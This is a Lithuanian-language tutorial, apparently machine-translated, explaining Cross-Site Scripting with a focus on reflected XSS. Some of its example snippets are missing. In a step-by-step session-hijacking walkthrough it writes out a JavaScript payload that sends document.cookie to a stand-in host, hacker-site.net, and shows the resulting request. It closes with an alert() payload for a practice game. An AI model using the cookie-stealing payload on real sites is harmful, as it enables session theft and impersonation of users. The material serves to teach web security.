Kas yra kelių svetainių scenarijus?
Cross-Site Scripting (XSS) yra viena iš populiariausių atakų metodų šiandien, žinoma kaip atakos krikštatėvis ir daugelį metų buvo įtraukta į pavojingiausių programų atakų metodų sąrašą.
Nevadinkite jos trumpai CSS, kad išvengtumėte painiavos su pakopinio stiliaus lapo koncepcija HTML.
XSS
technika
Norėdami geriau suprasti, panagrinėkime šį pavyzdį. Žiniatinklio programa, leidžianti spausdinti reikšmę, kurią perduodame per URL, darant prielaidą, kad pavadinimo kintamajame perduodame Ping reikšmę:

Viskas kol kas gerai, peržvelkime html šaltinio kodą:

Nesunku pastebėti, kad vardo reikšmė, kurią įvedėme, buvo įterpta į šaltinio kodą. Taigi gali būti, kad tai, kas importuota, taip pat gali būti įdėta. Problema tampa rimta, jei įvesta vertė yra ne įprasta eilutė, kaip nurodyta aukščiau, o potencialiai pavojinga kodo dalis, maždaug taip:
Bandykite dar kartą naudodami aukščiau nurodytą reikšmę:

Iš šio pavyzdžio galime daryti išvadą apie du dalykus. Pirma, pavadinimo kintamasis gali gauti bet kokią įvesties reikšmę ir perduoti ją serveriui apdoroti. Antra, serveris nekontroliavo šios įvesties reikšmės prieš grąžindamas ją į naršyklę. Dėl to javascript kodas įterpiamas į šaltinio kodą.
XSS paprastai skirstomas į 3 pagrindinius tipus: atspindėtas, saugomas ir DOM pagrįstas. Šiame straipsnyje daugiausia paminėsiu Reflected XSS techniką.
Iki 75% XSS metodų yra pagrįsti atspindėtu XSS. Tai vadinama atspindėtu, nes tokio tipo išnaudojimo scenarijuje įsilaužėlis turi nusiųsti aukai URL, kuriame yra kenkėjiškas kodas (dažniausiai javascript). Aukai tereikia paprašyti šio URL ir įsilaužėlis iš karto gaus atsakymą su norimu rezultatu (čia parodyta refleksija). Be to, jis taip pat žinomas kaip pirmosios eilės XSS.
Realus kasybos scenarijus
Yra daug būdų, kaip išnaudoti Reflected XSS klaidą, vienas iš labiausiai žinomų būdų yra perimti vartotojo seansą ir taip pasiekti duomenis ir įgyti teises svetainėje.
Išsami informacija aprašyta šiuose žingsniuose:

1. Vartotojas prisijungia prie žiniatinklio ir mano, kad seansas yra priskirtas:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Kažkaip įsilaužėlis siunčia vartotojui URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Tarkime, example.com yra svetainė, kurioje lankosi auka, o hacker-site.net yra įsilaužėlio sukurta svetainė
3. Auka pasiekia aukščiau pateiktą URL
4. Serveris atsako aukai kartu su užklausoje esančiais duomenimis (hakerio JavaScript fragmentas)
5. Nukentėjusioji naršyklė gauna atsakymą ir vykdo javascript
6. Tikrasis „Javascript“, kurį sukūrė įsilaužėlis, yra toks:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Aukščiau pateikta komandų eilutė iš esmės pateikia užklausą įsilaužėlio svetainei, kurios parametras yra vartotojo slapukas:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Iš jūsų svetainės įsilaužėlis užfiksuos aukščiau pateiktą užklausos turinį ir laikys, kad vartotojo sesija perimta. Šiuo metu įsilaužėlis gali apsimesti auka ir naudotis visomis aukos turimomis teisėmis svetainėje.
Praktika
„Google“ sukūrė puslapį, kuriame mokomasi išnaudoti XSS klaidas: https://xss-game.appspot.com
Šių iššūkių tikslas yra tai, kad turite įvesti scenarijus, kad atsirastų iššokantis langas. Pirmasis iššūkis yra iliustruoti atspindėtą techniką, išnaudojimo kodas yra gana paprastas:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Sėkmės!